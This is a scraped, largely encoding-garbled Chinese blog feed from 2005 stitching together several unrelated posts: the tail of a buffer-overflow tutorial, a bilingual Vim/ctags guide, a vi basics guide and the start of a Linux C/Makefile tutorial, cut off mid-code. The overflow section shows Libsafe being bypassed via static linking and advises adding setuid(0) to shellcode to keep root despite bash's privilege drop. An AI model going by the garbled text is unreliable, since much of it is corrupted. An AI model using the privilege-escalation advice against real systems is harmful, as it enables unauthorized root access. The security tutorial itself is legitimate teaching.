$ export LD_PRELOAD=/lib/libsafe.so.2


下面可以来试试看了?/P>

$ ./testlibsafe
Detected an attempt to write across stack boundary.
Terminating /home2/wy/projects/overflow/bof/testlibsafe.
    uid=1011  euid=1011  pid=9481
Call stack:
    0x40017721
    0x4001780a
    0x8048328
    0x400429c6
Overflow caused by strcpy()


可以看到QLibsafe正确到了由strcpy()函数D的缓冲区溢出Q其uid、euid和pidQ以及进E运行时的Call stack也被一q列出。另外,q些信息不光是在l端上显C,q会被记录到pȝ日志中,q样pȝ理员就可以掌握潜在的攻L源ƈ及时加以防范?/P>

那么Q有了Libsafe我们可以高枕无忧了吗?千万不要有这U天真的xQ在计算机安全领域入侵与反入늚较量永远都不会停止。其实Libsafe为我们提供的保护可以被轻易的破坏掉。由于Libsafe的实C赖于Linuxpȝ为动态链接库所提供的预载机Ӟ因此对于使用静态链接库的具有缓冲区溢出漏洞的程序Libsafe也就无能为力了?/P>

$ gcc -static testlibsafe.c -o testlibsafe_static
$ env | grep LD
LD_PRELOAD=/lib/libsafe.so.2
$ ./testlibsafe_static
Segmentation fault (core dumped)

如果在用gcc~译时加?static选项Q那么链接时使用的便是静态链接库。在pȝ已经安装了Libsafe的情况下Q可以看到testlibsafe_static再次产生了Segmentation fault?/P>

另外Q正如我们在本文前言中所指出的那P如果读者用的是较高版本的bash的话Q那么即使您在运行攻ȝ序exe之后得到了一个新的shellQ您可能会发现ƈ没有得到您所期望的root权限。其实这正是的高版本bash的改q之一。由于近十年来缓冲区溢出d屡见不鲜Q而且大部分的d对象都是pȝ中属Mؓroot的setuidE序Q以借此获得root权限。因此以root权限q行pȝ中的E序是十分危险的。ؓ此,在新的POSIX.1标准中增加了一个名为seteuid(2)的系l调用,其作用在于改变进E的effective uid。而新版本的bash也都UL采用了这一技术,在bash启动q行之初首先通过调用seteuid(getuid())bash的运行权限恢复ؓq程属主的权限,q样出C我们在高版本bash中运行攻ȝ序exe所看到的结果。那么高版本的bash已l无懈可M吗?其实不然Q只要在通过execve(2)创徏shell之前先调用setuid(0)进E的uid也改?Qbash的这一改进也就徒劳无功了。也是_你所要做的就是遵照前面所讲的pȝ调用规则setuid(0)加入到shellcode中,而新版shellocde的这一改进只需要很的工作量。附件中的shellcodeasm3.c和exe_pro.c告诉了你该如何去做?/P>

回页?/B>


l束?/FONT>

安全有两U不同的表现形式Q一U是如果你所使用的系l在安全上存在漏z,但是黑客们对此一无所知,那么你可以暂且认Z的系l是安全的;另一U是黑客和你都发Cpȝ中的安全漏洞Q但是你会想方设法将漏洞弥补上,使你的系l真正无懈可凅R你惌的是哪一U呢Q圣l上的一句话l出了这个问题的{案Q而这句话也被d了美国中央情报局大厅的墙壁上Q“你应当了解真相Q真怼使你自由。?/P>

回页?/B>


参考资?



回页?/B>


关于作?/FONT>

王勇Q现在北京航I天大学计机学院pȝ软g实验室攻读计机士学位Q主要研I域ؓ操作pȝ及分布式文gpȝ。可以通过 yongwang@buaa.edu.cn与他联系?



R.Zeus 2005-12-12 00:37 发表评论
]]>Introduction to Programming in C/C++ with Vimhttp://www.tkk7.com/RR00/articles/23295.htmlR.ZeusR.ZeusSat, 10 Dec 2005 12:57:00 GMThttp://www.tkk7.com/RR00/articles/23295.htmlhttp://www.tkk7.com/RR00/comments/23295.htmlhttp://www.tkk7.com/RR00/articles/23295.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/23295.htmlhttp://www.tkk7.com/RR00/services/trackbacks/23295.html Introduction to Programming in C/C++ with Vim

发布?005-05-28 被读1743?【字体:?/FONT> ?/FONT> ?/FONT>?
作者:Kmj

Introduction to Programming in C/C++  with Vim
Written By: Kmj



用Vimq行C/C++~程介绍
作?Kmj
                                        [n] 译整理
Vi has been one of the most, if not the most, popular editing tools for programmers
since Bill Joy first created it.

自从Bill Joy最初写出Vi~辑器以? Vi׃直是~程者中最qؓ传的文本编?BR>
工具, 即不是最行? 也一定是最行者之一.
Over the years it has evolved, and the current version of vim has many capabilities
which make a programmer's life easy. Listed below is a brief description
of some tools which have made so many programmers loyal to vi and vim.  The
purpose of this document is to inform linux newbies of, and introduce them
to these tools, not necessarily to be the definitive source of information
on them.  In most cases, interested readers should check the noted "extra
information" sources.

Vi产生以来, 历经不断革新, 现在最新版的Vim已经h了非常多的功? q些?BR>
能ɽE序员能更加L, 便捷C用它? 下面是它的一些功能描q? 正是q些
丰富强大的功能vi和vim成ؓ无数E序员的至爱. 本文志在向linux的初学者们
介绍q些功能, 而不是追溯其历史渊源. Ҏ感兴的读者可?BR> 查看"extra information"获得q些信息.
(Note that throughout this paper, I may use the name vi when referring to
vim. Some options may only be compatible with vim, and not vi.)

(? 本文中用vi兼指vim, 但有一些选项可能只有vim支持)
Ctags
Ctags is a program that comes with vim. Basically, it's purpose is to help
a programmer get to various parts of his program with relative ease. The
typical method of running ctags is by simply typing the following in your
source directory:

Ctags是vim的伴生工? 它的基本功能是让E序员能自由I梭于程序的不同部分(
如从一个函数名跌{到该函数的定义处), 最通常的用法是象下面这样以源程序目
录下所有文件作为参?
[/home/someuser/src]? ctags * 
This will create a 'tags' file in you current directory with the following
information for all C or C++ files in you directory. This file contains
a listing of the following objects:

该命令会在当前目录下创徏一个名为`tags'的文? 该文件包含了你当前目录下
所有的C/C++文g中的相关信息, 具体来说包含以下对象的信?
macros defined by #define 
       enumerated values
       function definitions, prototypes, and declarations
       class, enum, struct, and union names
       namespaces
       typedefs
        variables (definitions and declarations)
       class, struct, and union members

?define定义的宏
                枚D?BR>                 函数定义, 原型和声?
                c? 枚Dcd? l构名和联合l构?BR>                 名字I间
                cd定义
                变量(定义和声?
                c?l构和联合结构的成员
Vim then uses this file to help you locate these tagged items. This can be
done in a few ways. First, one can open vim to the location of a tagged
object. To do this, run vim with the '-t' flag and the tag-name as an argument
. For example:

接下? Vim通过该文件中的信息定位这些程序元? 有几U方法可以对q些?BR>
素进行定? W一U方? 可以在命令上启动viE序旉过-t选项加要跌{的程?BR>
元素? 如下:
[/home/someuser/src]? vi  -t  foo_bar 

would open to the file containing the definition of foo_bar at that line
.

会打开包含foo_bar定义的文件ƈ定位到定义foo_bar的那一行上.
If you are already in vi, you can enter the command by the tag-name: 

如果你已l在vi~辑环境? 也可以在底线命o行上键入:
:ta foo_bar 

This may take you out of the file you are currently in, unless the 'autowrite
' option is enabled. (It  is off by default.) For more information on autowrite
, type ':h autowrite' from with vi command-mode.

该命令可能你离开你当前打开的文?而蟩转到包含foo_bar定义的文件的相关?BR>
上去, 如果你已l改变了当前文g的内容而没有存? 则只能在你设|了
`autowrite'时才会蟩转到该文? 否则会给? ? autowrite可简写ؓ{效
的aw, 译者注), Ʋ了解`autowrite'选项的详l信? 可以使用在线帮助:h autowrite
命o(也可写ؓ:h aw, 译者注)
The final way to jump to a tagged location is by typing 'Ctrl-]'  in command
mode while the cursor is on a specific word. For example, if you are  looking
at my program, and you come across a point where I call foo_bar(), you can
type 'Ctrl-]', while the cursor is somewhere on that word, and it will jump
to that definition. Note that 'Ctrl-]' is the escape character for telnet
, so this may cause some issues if your editing files remotely. Type ':h
^]' for more information.

最后一U蟩转到一个程序元素的Ҏ是在(命o模式?光标停在该程序元素上时按
下`CTRL-]'? ? 你在看程序时看到某处调用了一个叫foo_bar()的程? ?BR> 可以光标停在foo_bar单词?停在该单词Q何一个字W都? 译者注), 然后?BR> 下`CTRL-]'? 它就会蟩转到该函数的定义? 值得注意的是Ctrl-]y是telnet
的终端符, 所以如果你在编辑远E计机上的文g(通常是通过telnetd到远E?BR> L? 译者注), 可能会遇C些问? 通过在线帮助':h^]'可以了解q方面的
更多信息.(译? ?h^]中关于该问题是这栯? 多数telnet都允怋用命?BR> telnet -E hostname来打开或关闭该脱字W? 或者用telnet -e escape hostname
来指定另外一个脱字符来代替^], 此外, 如果可能的话, 可以使用rsh来代替telnet
来避免这个问? 关于telnet -E ?telnet -e的详? 请参看man telnet中相?BR> 的帮?
Ctags can also be used with other languages (java, fortran, ...and more) and
editors (emacs, NEdit, ...and more). When set up properly, this tool can
make  your job tremendously easier, especially when you have to jump into
a large ongoing project head-first.

CtagsE序也可用于其它语言写就的源E序, q且可以与其它的一些编辑器(如emacs
, NEdit{等)协同工作. 正确C用它, 会给你的~程工作带来极大的便? 其是你?BR> 开发一个大的项目时.
For more information: View the man page, man ctags, or view the vim help
, :h ctags.

关于ctagsE序的更多用? 请参看它的相兛_助页, man ctags, 或者通过vim?BR>
在线帮助pȝ查看它的用法, :h ctags
c-style indenting

c语言风格的羃q?/PRE>
Vi has various methods of implementing auto-indenting. The best for C and
C++ programmers is, obviously, cindent mode. This is a very versatile tool
which gives the programmer much control over the look and feel of his source
code, without any effort (except the effort of initial setup, of course
). To enable c-indenting, just type ':set cindent' from the command mode
.  The most important thing to note is that cindenting makes use of shiftwidth
, not tabstops. The default shiftwidth is 8. In order to change this,  enter
':set shiftwidth=x' where x is the desired number of spaces to shift.

Vi有几U不同的Ҏ实现自动~进. 对于C/C++E序员来? 最好的Ҏ昄?BR>
cindent模式, 该模式具有多U功能帮助程序员化E序的外? 无需M额外?BR>
工作(当然, 讄正确的模?se cindent是必需?. Ʋ打开该模? 只需键入?BR>
?set cindent(所有的set都可以简写ؓse, 虽然只节省了一个字W? 译者注)
需要注意的是cindent控制~进量是通过shiftwidth选项的? 而不是通过tabstop
的? shiftwidth的默认值是8(也就是说, 一个羃qؓ8个空? 译者注), 要改?BR> 默认的设|? 可以使用`:set shiftwidth=x'命o, 其中x是你希望一个羃q量代表
的空格的数目.
The default cindent options tend to be nice, but if you find your program
indenting in some way that is annoying, you can modify the behaviour. To
set the cindent options, type ':set cino=string', where string is a
list defining exactly how you want your cindent options to behave. There
are quite a few different types of indenting which can be done, and vim
's help does a good job explaining them, so I won't go over them here. To
view the help for the possible values of cinoptions, type ':h cinoptions
-values'. To view the current values, simply type ':set cino'. Most likely
there will be none, since everything starts at a default value.

cindent的默认设|选项一般来说是比较可h? 但如果你的程序有Ҏ需? ?BR>
可以改变? 讄cindent的选项, 通过`:set cino=string'选项(其中, string
是要用户自己键入的字W串, 译?, string定义了一个列? 该列表决定了?BR> 的cindent的行? 你可以定义多Uindentcd, vim的帮助对此有很详l的说明.
Ʋ查扑օ于该主题的帮? 使用命o`:h cinoptions-values'. 要想查看当前?BR> 讄? 可以使用命o`:set cino'.
For more information, check out the following: ':h shiftwidth', ':h cindent
', ':h cinoptions', ':h cinoptions-values', ':h cinkeys', and ':h cinwords
'.

要了解更多的l节, 可以使用在线帮助`:h shiftwidth', ':h cindent', `:h 
cinoptions', `:h cinoptions-values', `:h cinkeys', 和`:h cinwords'
syntax highlighting

语法高亮
Programmers who are used to integrated development environments know the
beauty of syntax highlighting. It doesn't just make your code more readable
; it also helps prevent annoying commenting and string errors. Vim has syntax
highlighting for a number of languages, including C and C++ of course. To
enable it, type ':syntax on'. Using it is as simple as that if you're happy
with the default values.  Vim's syntax highlighting tools can be quite complex
, with a number of different things to play around with. To view information
on syntax hilighting, type ':h syntax', which will lead you to vim's extensive
help system. Syntax hilighting with color terminals and with gvim is nice
, but if you don't have color, vim uses underlining, boldface, etc. To me
, this is pretty ugly.

用过集成开发环境的E序员都知道语法高亮的妙处所? 它不光你的代码更具
可读? 它也使你免于拼写错误, 使你明确注释的范? Vim对多U语a都有语法
高亮的功? 当然, C/C++一定包括在? 打开语法高亮功能, 可用命令`:syntax on'.
如果你觉得默认的讄已经够好? 使用它就是如此简? Vim的语法高亮工具也
可以十分复杂, 拥有众多选项. 要了解更多的l节, 可通过命o`:h syntax'查看
在线帮助, 在支持彩色的l端上或者用gvim(vim的GUI? 增强了一些功? ?BR> 者注), 但如果你当前的环境不支持彩色昄, vim会用下划线, _体? 试图
q行{效的替? 但对我而言, q样太难看了.
For more information:  ':h syntax', ':h syn-qstart', ':h syntax-printing
'

要了解更详细的内? 可通过命o`:h syn-gstart', ':h syntax-printing'查看
在线帮助
edit-compile-edit, a.k.a. Quickfix

~辑-~译-再编?/PRE>
This is a really nifty feature.  Basically, by typing one command, you can
cause vim to attempt to make the program you're working on, then open to
whatever file first compiler error is in at the line of that error. The
command to execute is ':mak' (or ':make'). Vim will run whatever program
is denoted by the value of 'makeprg'. The default value for 'makeprg' is
'make'. You can change this, if you wish, by typing ':set makeprg=', where
string denotes the desired command. Vim uses the 'errorformat' value to
figure out how to understand the output from the compiler. Since different
compilers have different output format's, you'll probably have to enter
the format string. The method used is rather similar to C-style formatting
with scanf. The most important format specifiers are %f, meaning filename
, %l, meaing line-number, and %m, meaning message.

q实在是极好的功? 其基本功能是, 你可能不用离开当前~辑环境, 通过指定
一个命? 可以编译你当前~辑的项? 然后, 如果~译时因发生错误而中?
vim会打开W一个发生错误的文gq定位于引v错误的行? q一命o是`:mak'
(或?:make'). vim会q行由选项makeprg指定的makeE序, 它的默认值就?BR> make(已经够好用了, 译者注). 如果愿意的话, 你也可以使用命o`:set makeprg
=string'改变目l护工具(比如, 在VC下用nmake, :set makeprg=nmake.exe
, 译者注),
vim使用选项`errorformat'的设|去解析~译嚣输出的错误信息的格? ׃不同
的编译嚣有不同的错误信息格式, 所以可能需要显式地指定错误信息的格? 选项
`errorformat'的设|用与c函数scanf风格cM的语? 最重要的是指定%f, ?BR> 表文件名, %l, 行号, %m, 错误信息.
GCC's format string: %f:%l:\%m 

GCC格式的errorformat讄:%f:%l:\%m
This can become quite complex with different compilers, but fortunately, vim
has a world of information in their help at ':h errorformat'.

有些~译器的errorformat可能十分复杂, 但好在vimҎ提供了完整的在线帮助
':h errorformat'.
For more information, check out: ':h quickfix', ':h mak', ':h makeprg',  ':h
errorfile', ':h errorformat'.

要了解其它细? 可用命o`:h quickfix', `:h mak', `:h makeprg', `:h errorfile
',
`:h errorformat'查看相应的帮?
useful keystrokes

有用的快h?/PRE>
There are certain command-mode keystrokes that are especially useful for
programmers. Below is a small subset of these:

有一些快h键对E序员而言特别有用, 下面是其中的一部分:
Moving around within functions: 

在函CUd
[ [   = Go to previous first-column '{';   equivalent to ?^{ 

Ud到前一个行首的'{'字符? {h?^{
] ]   = Go to next first-column '{';   equivalent to /^{ 

UdC一个行首的'{'字符? {h?^{
[ ]   = Go to previous first-column '}';   equivalent to ?^} 

Ud到前一个行首的'}'字符? {h?^}
] [  = Go to next first-column '}';   equivalent to /^} 

UdC一个行首的'}'字符? {h?^}
{   = Go to previous blank line. 

到前一个空行上
}   = Go to next blank line. 

C一个空行上
gd   = Go to definition of current local variable  (current = cursor
is on it)

到当前局部变量的定义?当前的意思是光标停留其上的单?.
*   = Go to next instance of current word 

C当前单词相同的下一个单词上
#   = Go to previous instance of current word 
    ''   = Go to location where last search was started.

C当前单词相同的上一个单词上
Parenthesis Matching: 
%   Takes you to the matching parenthesis, curly brace, or bracket, depending
on what you are on. This always comes in handy as a quick double-check.

括号匚w:
%        可以让光标从它当前所在的括号跌{C它相匚w的括号上? 对花括号?BR> 圆括? Ҏ号都有效, 常用于手工检查括h否匹?
Substution: 
Vim has powerful substition capabilities,  with a very simple interface.  No
annoying GUI to get in the way (though you may need to keep a cheat-sheet
handy). To search for and replace text, use the following command:

替换操作:
Vimh强大的字W串替换功能, 操作h十分? 不需惹h生厌的GUI(囑Ş?BR> L?, 查找q替换文? 可以使用下面的命?
:  [address] s/
/string/[g|c|N] (where N is an integer value).

(其中的N是一个整数?.
This finds one (or more) instance of the grep-style regular expression represented
by
, and substitutes it with string.  'address', 'g', and 'N
' are modifiers which determine which and how many occurances of
are replaced.

此命令查扄grep风格的正则表辑ּ指定的匹配模?PATTERN>
, q将其替换ؓ?BR> string指定的字W串, `address', `g', 和`N' 是对命o的补充选项, 它们分别
军_了命令的作用范围, 是只替换W一个匹配的字符串还是替换所有匹配的字符?
只替换每行中WNơ匹配的字符?
g = Global:    Replace all occurances of 
on the line.

全部:                替换每行中所有匹配的字符?
c = Cond.      Ask before making each replacement. 

询问.                在每ơ替换之前询问用h否确定要q行替换.
N = Nth    Replace only the Nth occurance of 
on the line.

WN?nbsp;               只替换在一行中WN个匹配的字符??s/zhao/slimzhao/2, ?BR>
        当前行的内容是zhao zhao zhao, 则替换后的内容ؓzhao slimzhao zhao, ?BR>
        者注)
(No modifier implies N=1, the first occurance on that line) 

(如果没有指定q些辅助修饰标志, 则vim默认为只替换一行中W一个匹配的字符?BR>
) (即等价于address1, address2s/
/string/1, 译者注)
[address values]    -May be one specifier or two seperated by a comma.  (below
,  x represents an integer).

可以是一个或是由逗号分开的两个辅助修Ҏ? (下面的x代表一个整?
. = The current line 

表示当前?卛_标所在的? 译者注)
? = The last line in the file 

当前文g的最后一?/PRE>
% = Entire file 

整个文g(卛_每一? {h?,?, 译者注)
x = The xth line of the file 

当前文g的第x?/PRE>
+x = x lines after the current line 

从当前行开始下面的Wx?如果当前行ؓW?? ?3 代表W??
-x = x lines before the current line 

从当前行开始上面的Wx?如果当前行ؓW?? ?3 代表W??
The comma may seperate any of the above in order to specify a range. All
lines within the given range will undergo the substitution. The best reference
I have found for  subsituting can be found at the Vi Helpfile, linked below
.

逗号用于分隔M上面指定的单个行, 以Ş成一个范?当然, q个范围的下界不
能小于上? ?0,1为非法的范围, 此时vim会给Z个警告信? 问你是否q行
反向操作, 如回{y, 则等价于1,10, 操作仍正常进? 否则, 撤消当前操作,
译者注), 其后指定的操作将作用于此处给出的范围, vim帮助里有关于替换操作
的充分信?
Miscellany 
Vim has so many nifty little things, it would be impossible to list them
all. Here are a few more things that are worth taking a look at.

其它杂项
Vim有众多诱人的功? q里不可能一一列出, 下面列出一些尤其值得注意的一
些特?
Include File Searching-  ':h include-search' 

包含文g搜烦-        `:h include-search'
Bookmarking-  'mx' to set,  ' 'x' to return; (x can be any letter, must stay
within file to remember)

书签讄-        'mx'用于讄书签, ''x'用于从书{返?(其中的x可以ZQ何字?
        ? 只能记录当前文g里的书签) (退出vim后再ơ进入将不会保留q些书签,
        书签是代表在文件中某一特定位置的一U标? 译者注)
"Clipboard" buffers-  ' "xY '  to cut or copy to  buffer x (Y represents
any normal deletion or yank command),  ' "xZ '  to paste contents of x (Z
represents pasting... p or P);  (x can be any letter, can switch to another
file(:e filename) and still maintain contents of buffers).

"剪脓? ~冲-        ' "xY ' 用于剪切或复制到一个名为x的缓冲区(Y 代表M?BR>
删除或取样命?, ' "xZ ' 用于_脓内容(Z代表_脓命op ?P); (其中x可以?BR>
M字母, 也可在蟩转到另一文g中时l箋生效(:e filename).
Comment Specifiers-     ':h comments' 

注释W?                                        `:h comments'
.vimrc-    Don't forget your .vimrc!!! (Located in your home directory). You
'll find it very handy to add many of the above things to your .vimrc file
, so that vim "remembers" everything you want it to. (You may find that some
of them are already there.) Remember that you don't need to prepend a ':' to
the command when adding them to the .vimrc.

.vimrc-                别忘了你?vimrc文g(在你用户目录中~/.vimrc). 该文件可用于
        记录上面你所做的大多数设|? C?vimrc文g中无需在每个命令前使用一
        个冒?:".(在DOS下的vim? .vimrc文g放于vimE序所在的目录? ? ?BR>         时不?vimrc, 叫_vimrc, ? .vimrc也可?exrc, _vimrc也可为_exrc)
Other Resources
X_Console has written a really nice  Vi Crash Course NHF , which should help
you get over the learning curve, if you're just starting out.
There are many, many webpages around with information on Vi/Vim, some good
, some not so good (depending on what level you're looking for). A search
for Vi or Vim at Google or any other search engine will turn up plenty of
results.  In my opinion, these are two of the best:

其它资源
X_Console(此处不知如何译, 译者注)上有一个非常好的vi教程, 如果你要开?BR> 学习使用vi, ׃q里开始吧.
因特|上有非常多的关于vi/vim信息的网? 有好有坏(好坏也看你的水^如何?
在Google或其它搜索引擎上查找vi或vim会找到非常多的搜索结? 我个?BR> 下面两个是最好的
THE VI LOVER'S HOMEPAGE     - Many links, lots of info... 

VI爱好者主?nbsp;                               - 链接多多, 信息多多...
The VI Helpfile  - Very comlete, terse reference. Great for ex commands. 

VI帮助文g                -非常完整而简l的一份参考手? 特别是ex命o.
Unixworld Vi Tutorial  -  Nine parts, from start to finish... Go through
this and you'll understand why we love Vi.

Unix世界Vi教程-                        九部? 从开始到l束...看了q? 我们Z么喜
ƢVI.
This file was created by Keith Jones (kmj9907@cs.rit.edu); I'm no expert
on vim, but I hope some of the above was helpful. Enjoy!!!

本文由Keith Jones(kmj9907@cs.rit.edu)写就; 我不是vim专家, 但我希望上面
的一些内容对大家有所帮助. 希望大家喜欢!!!


R.Zeus 2005-12-10 20:57 发表评论
]]>
Vi~辑器的基本使用Ҏ- -http://www.tkk7.com/RR00/articles/23292.htmlR.ZeusR.ZeusSat, 10 Dec 2005 12:36:00 GMThttp://www.tkk7.com/RR00/articles/23292.htmlhttp://www.tkk7.com/RR00/comments/23292.htmlhttp://www.tkk7.com/RR00/articles/23292.html#Feedback1http://www.tkk7.com/RR00/comments/commentRss/23292.htmlhttp://www.tkk7.com/RR00/services/trackbacks/23292.html1、vi的基本概?
  基本上vi可以分ؓ三种状态,分别是命令模式(command modeQ、插入模式(Insert modeQ和底行模式Qlast line modeQ,各模式的功能区分如下Q?
    1) 命o行模式command modeQ?
  控制屏幕光标的移动,字符、字或行的删除,Ud复制某区D及q入Insert mode下,或者到 last line mode?
    2) 插入模式QInsert modeQ?
  只有在Insert mode下,才可以做文字输入Q按「ESC」键可回到命令行模式?
    3) 底行模式Qlast line modeQ?
  文件保存或退出viQ也可以讄~辑环境Q如L字符丌Ӏ列号……等?
 
    不过一般我们在使用时把vi化成两个模式Q就是将底行模式Qlast line modeQ也入命o行模式command modeQ?
2、vi的基本操?nbsp;
a) q入vi
    在系l提C符可入vi及文件名U后Q就q入vi全屏q编辑画面:
   $ vi myfile
  不过有一点要特别注意Q就是您q入vi之后Q是处于「命令行模式Qcommand modeQ」,您要切换到「插入模式(Insert modeQ」才能够输入文字。初ơ用vi的h都会惛_用上下左右键Ud光标Q结果电脑一直哔哔叫Q把自己气个半死Q所以进入vi后,先不要ؕ动,转换到「插入模式(Insert modeQ」再说吧Q?
 
b) 切换x入模式(Insert modeQ编辑文?
  在「命令行模式Qcommand modeQ」下按一下字母「i」就可以q入「插入模式(Insert modeQ」,q时候你可以开始输入文字了?
 
c) Insert 的切?
  您目前处于「插入模式(Insert modeQ」,您就只能一直输入文字,如果您发现输错了字!想用光标键往回移动,该字删除,p先按一下「ESC」键转到「命令行模式Qcommand modeQ」再删除文字?
 
d) 退出vi及保存文?
  在「命令行模式Qcommand modeQ」下Q按一下「:」冒号键q入「Last line mode」,例如Q?
: w filename Q输?「w filename」将文章以指定的文g名filename保存Q?
: wq (输入「wq」,存盘q出vi)
: q! (输入q!Q?不存盘强刉出vi)

3、命令行模式Qcommand modeQ功能键
1Q? 插入模式
       按「i」切换进入插入模式「insert mode」,?i"q入插入模式后是从光标当前位|开始输入文Ӟ
  按「a」进入插入模式后Q是从目前光标所在位|的下一个位|开始输入文字;
  按「o」进入插入模式后Q是插入新的一行,从行首开始输入文字?
 
2Q? 从插入模式切换ؓ命o行模?
      按「ESC」键?
 
3Q? Ud光标
  vi可以直接用键盘上的光标来上下左右UdQ但正规的vi是用写英文字母「h」、「j」、「k」、「l」,分别控制光标左、下、上、右UM根{?
  按「ctrl?「b」:屏幕往"?Ud一c?
  按「ctrl?「f」:屏幕往"?Ud一c?
  按「ctrl?「u」:屏幕往"?Ud半页?
  按「ctrl?「d」:屏幕往"?Ud半页?
  按数字?」:Ud文章的开头?
  按「G」:Ud到文章的最后?
  按?」:Ud到光标所在行?行尾"?
  按「^」:Ud到光标所在行?行首"
  按「w」:光标跛_下个字的开?
  按「e」:光标跛_下个字的字尾
  按「b」:光标回到上个字的开?
  按?l」:光标Ud该行的第#个位|,如:5l,56l?
 
4Q? 删除文字
  「x」:每按一ơ,删除光标所在位|的"后面"一个字W?
  ?x」:例如Q?x」表C删除光标所在位|的"后面"6个字W?
  「X」:大写的XQ每按一ơ,删除光标所在位|的"前面"一个字W?
  ?X」:例如Q?0X」表C删除光标所在位|的"前面"20个字W?
  「dd」:删除光标所在行?
  ?dd」:从光标所在行开始删??
 
5Q? 复制
  「yw」:光标所在之处到字尾的字W复制到~冲Z?
  ?yw」:复制#个字到缓冲区
  「yy」:复制光标所在行到缓冲区?
  ?yy」:例如Q?yy」表C拷贝从光标所在的该行"往下数"6行文字?
  「p」:缓冲区内的字符贴到光标所在位|。注意:所有与"y"有关的复制命令都必须?p"配合才能完成复制与粘贴功能?
 
6Q? 替换
  「r」:替换光标所在处的字W?
  「R」:替换光标所C处的字符Q直到按下「ESC」键为止?
 
7Q? 回复上一ơ操?
  「u」:如果您误执行一个命令,可以马上按下「u」,回到上一个操作。按多次"u"可以执行多次回复?
 
8Q? 更改
  「cw」:更改光标所在处的字到字֤
  「c#w」:例如Q「c3w」表C更?个字
 
9Q? 跌指定的行
  「ctrl?「g」列出光标所在行的行受?
  ?G」:例如Q?5G」,表示Ud光标x章的W?5行行首?

4、Last line mode下命令简?
  在用「last line mode」之前,误住先按「ESC」键定您已l处于「command mode」下后,再按「:」冒号即可进入「last line mode」?

A) 列出行号

 「set nu」:输入「set nu」后Q会在文件中的每一行前面列受?

B) 跛_文g中的某一?

 ?」:?」号表示一个数字,在冒号后输入一个数字,再按回R键就会蟩到该行了Q如输入数字15Q再回RQ就会蟩到文章的W?5行?

C) 查找字符

 ?关键字」:先按?」键Q再输入您想L的字W,如果W一ơ找的关键字不是您想要的Q可以一直按「n」会往后寻扑ֈ您要的关键字为止?

 ?关键字」:先按?」键Q再输入您想L的字W,如果W一ơ找的关键字不是您想要的Q可以一直按「n」会往前寻扑ֈ您要的关键字为止?

D) 保存文g

 「w」:在冒可入字母「w」就可以文件保存v来?

E) dvi

 「q」:按「q」就是退出,如果无法dviQ可以在「q」后跟一个?」强制离开vi?

 「qw」:一般徏议离开Ӟ搭配「w」一起用,q样在退出的时候还可以保存文g?

5、vi命o列表
1、下表列出命令模式下的一些键的功能:

h
左移光标一个字W?

l
右移光标一个字W?

k
光标上移一?

j
光标下移一?

^
光标Ud臌?

0
数字"0"Q光标移x章的开?

G
光标U至文章的最?

$
光标Ud臌?

Ctrl+f
向前d

Ctrl+b
向后d

Ctrl+d
向前d?

Ctrl+u
向后d?

i
在光标位|前插入字符

a
在光标所在位|的后一个字W开始增?

o
插入新的一行,从行首开始输?

ESC
从输入状态退臛_令状?

x
删除光标后面的字W?

#x
删除光标后的Q个字符

X
(大写X)Q删除光标前面的字符

#X
删除光标前面?个字W?

dd
删除光标所在的?

#dd
删除从光标所在行数的#?

yw
复制光标所在位|的一个字

#yw
复制光标所在位|的#个字

yy
复制光标所在位|的一?

#yy
复制从光标所在行数的#?

p
_脓

u
取消操作

cw
更改光标所在位|的一个字

#cw
更改光标所在位|的#个字


2、下表列命o模式下的一些指?
w filename
储存正在~辑的文件ؓfilename

wq filename
储存正在~辑的文件ؓfilenameQƈ退出vi

q!
攑ּ所有修改,退出vi

set nu
昄行号

/?
查找Q在/后输入要查找的内?

n
??一起用,如果查找的内容不是想要找的关键字Q按n或向后(?联用Q或向前Q与?联用Ql查找,直到扑ֈ为止?


对于W一ơ用viQ有几点注意要提醒一下:
1、用vi打开文g后,是处于「命令行模式Qcommand modeQ」,您要切换到「插入模式(Insert modeQ」才能够输入文字。切换方法:在「命令行模式Qcommand modeQ」下按一下字母「i」就可以q入「插入模式(Insert modeQ」,q时候你可以开始输入文字了?
2、编辑好后,需从插入模式切换ؓ命o行模式才能对文gq行保存Q切换方法:按「ESC」键?
3、保存ƈ退出文Ӟ在命令模式下输入:wq卛_Q(别忘了wq前面?Q?nbsp;



R.Zeus 2005-12-10 20:36 发表评论
]]>
LINUX下进行C语言~程http://www.tkk7.com/RR00/articles/23291.htmlR.ZeusR.ZeusSat, 10 Dec 2005 12:11:00 GMThttp://www.tkk7.com/RR00/articles/23291.htmlhttp://www.tkk7.com/RR00/comments/23291.htmlhttp://www.tkk7.com/RR00/articles/23291.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/23291.htmlhttp://www.tkk7.com/RR00/services/trackbacks/23291.htmlq篇文章介绍在LINUX下进行C语言~程所需要的基础知识.在这文章当?我们会学到以下内容:
源程序编?
Makefile的编?
E序库的链接
E序的调?
头文件和pȝ求助

--------------------------------------------------------------------------------
1.源程序的~译
在Linux下面,如果要编译一个C语言源程?我们要用GNU的gcc~译? 下面我们以一个实例来说明如何使用gcc~译?
假设我们有下面一个非常简单的源程?hello.c):
int main(int argc,char **argv)
{
printf("Hello Linux\n");
}

要编译这个程?我们只要在命令行下执?
gcc -o hello hello.c
gcc ~译器就会ؓ我们生成一个hello的可执行文g.执行./hello可以看到程序的输出l果?命o行中 gcc表示我们是用gcc来编译我们的源程?-o 选项表示我们要求~译器给我们输出的可执行文g名ؓhello 而hello.c是我们的源程序文?
gcc~译器有许多选项,一般来说我们只要知道其中的几个够? -o选项我们已经知道?表示我们要求输出的可执行文g? -c选项表示我们只要求编译器输出目标代码,而不必要输出可执行文? -g选项表示我们要求~译器在~译的时候提供我们以后对E序q行调试的信?
知道了这三个选项,我们可以编译我们自己所写的单的源程序了,如果你想要知道更多的选项,可以查看gcc的帮助文?那里有着许多对其它选项的详l说?
2.Makefile的编?
假设我们有下面这L一个程?源代码如?

/* main.c */
Qi nclude "mytool1.h"
Qi nclude "mytool2.h"

int main(int argc,char **argv)
{
mytool1_print("hello");
mytool2_print("hello");
}

/* mytool1.h */
#ifndef _MYTOOL_1_H
#define _MYTOOL_1_H

void mytool1_print(char *print_str);

#endif

/* mytool1.c */
Qi nclude "mytool1.h"
void mytool1_print(char *print_str)
{
printf("This is mytool1 print %s\n",print_str);
}

/* mytool2.h */
#ifndef _MYTOOL_2_H
#define _MYTOOL_2_H

void mytool2_print(char *print_str);

#endif

/* mytool2.c */
Qi nclude "mytool2.h"
void mytool2_print(char *print_str)
{
